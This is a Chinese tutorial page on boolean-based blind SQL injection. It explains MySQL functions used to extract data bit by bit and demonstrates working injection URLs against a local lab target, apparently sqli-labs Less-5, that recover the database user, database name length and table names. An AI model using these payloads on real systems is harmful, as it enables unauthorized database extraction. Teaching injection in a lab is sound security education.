玖叶教程网

前端编程开发入门

web安全之SQL盲注(bool型)

SQL盲注,顾名思义就是SQL语句执行后,无法回显到前端页面,需要借助一些方法才能判断语句执行是否成功,区别于我们前面讲原理时举的案例直接在页面回显查询的结果。

基于布尔的SQL盲注

核心思想是通过构造逻辑判断获取信息

这里就需要用到前面章节介绍的内容,例如字符串处理、编码转换等知识点,详见web安全之SQL注入关联知识点

此处对常见用法做个举例:

1)left(a,b):用于从左侧截取a的前b位

通常可以用来做比较,例如判断当前database()的第一位跟字符s的比较: left(database(),1) > ‘s’

2)substr(str,pos,length)、mid(str,pos,length):

用于从pos位置开始截取str的length长度;如果缺少length参数则直接取到结尾,Mid函数仅用于mysql,mssql和Oracle不适用

3)ascii()、ord():用于将字符转换成ASCII码,返回字符串第一个字符的ASCII值

4)cast(value as type)、convert(value,type):用于对数据类型转换,获取一个类型的值,并产生另一个类型的值

5)ifnull(expression, alt_value):用于判断第一个表达式是否为 NULL,如果为 NULL 则返回第二个参数的值,如果不为 NULL 则返回第一个参数的值

举例:取第一条username的第一位转ASCII码后与66进行比较,结果为1说明username第一位ASCII码比66大,以此类推,进一步可以得出第一位的ASCII码

Ord(mid((select ifnull(cast(username AS CHAR),0x20) from security.users order by id limit 0,1),1,1)) >66

6)if(expr1,expr2,expr3):用于if判断,如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值

7)regexp、like:用于正则匹配和模糊查询,用法类似

举例:判断security数据库中是否有含有user的表,有的话返回1,可以这么写

select 1 from information_schema.tables where table_schema='security' and table_name regexp '^user' limit 0,1;

所以进一步在测试时可以这么写,有包含user的表的话表达式成立,结果正确,否则错误,这也就是布尔盲注的思想,非true即为false。

select * from users where id = 1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^user' limit 0,1);

布尔盲注案例演示

先看后台代码,服务端获取客户端传递的参数 $id,然后拼接到SQL语句执行查询,查询有结果就始终输出 you are in...页面

1)首先正常访问提交$id=1,有结果时说明id=1存在,返回页面you are in...

当提交$id=100时,无查询结果返回空

2)按照上节文章中的测试方法测试注入点,并且通过测试可以看出后端对参数用单引号包围,利用单引号和注释符进行闭合

3)按布尔盲注进行测试,构造逻辑判断,例如获取当前用户语法

http://192.168.102.135/ctf/sqli/Less-5/index.php?id=1' and ascii(left(user(),1))=113--+

当ascii(left(user(),1))=113时,页面返回为空,当ascii(left(user(),1))=114时,页面返回you are in,说明当前用户user()首位字符对应的ASCII码为114,即字符r,当然这里可以写脚本遍历跑就行了,依次可以跑每一位

4)继续可以判断当前数据库长度,以下条件成立,页面显示正常,说明当前数据库长度为8

http://192.168.102.135/ctf/sqli/Less-5/index.php?id=1' and length(database())=8--+

5)枚举当前库中表的每一位

例如获取当前数据库的第四个表名,利用 limit 3,1 取第4个结果,然后用表名的第一个字符的ASCII码值与依次遍历的数字进行比较,下图说明当等于117时,页面返回正常,说明对应表名的第一个字符对应的ASCII码为117,即u,依次遍历进而可以获取每一位

http://192.168.102.135/ctf/sqli/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117--+

通过在数据库中验证当前数据库中的第四个表名为users,第一个字符为u

小结

以上就是基于布尔的SQL盲注,可以看到对布尔型盲注获取数据是比较麻烦的,需要依次对每一位进行取值比较,通常会编写代码进行遍历。核心思想就是构造逻辑判断,需要熟练运用前一节文章提到的各种方法函数。

发表评论:

控制面板
您好,欢迎到访网站!
  查看权限
网站分类
最新留言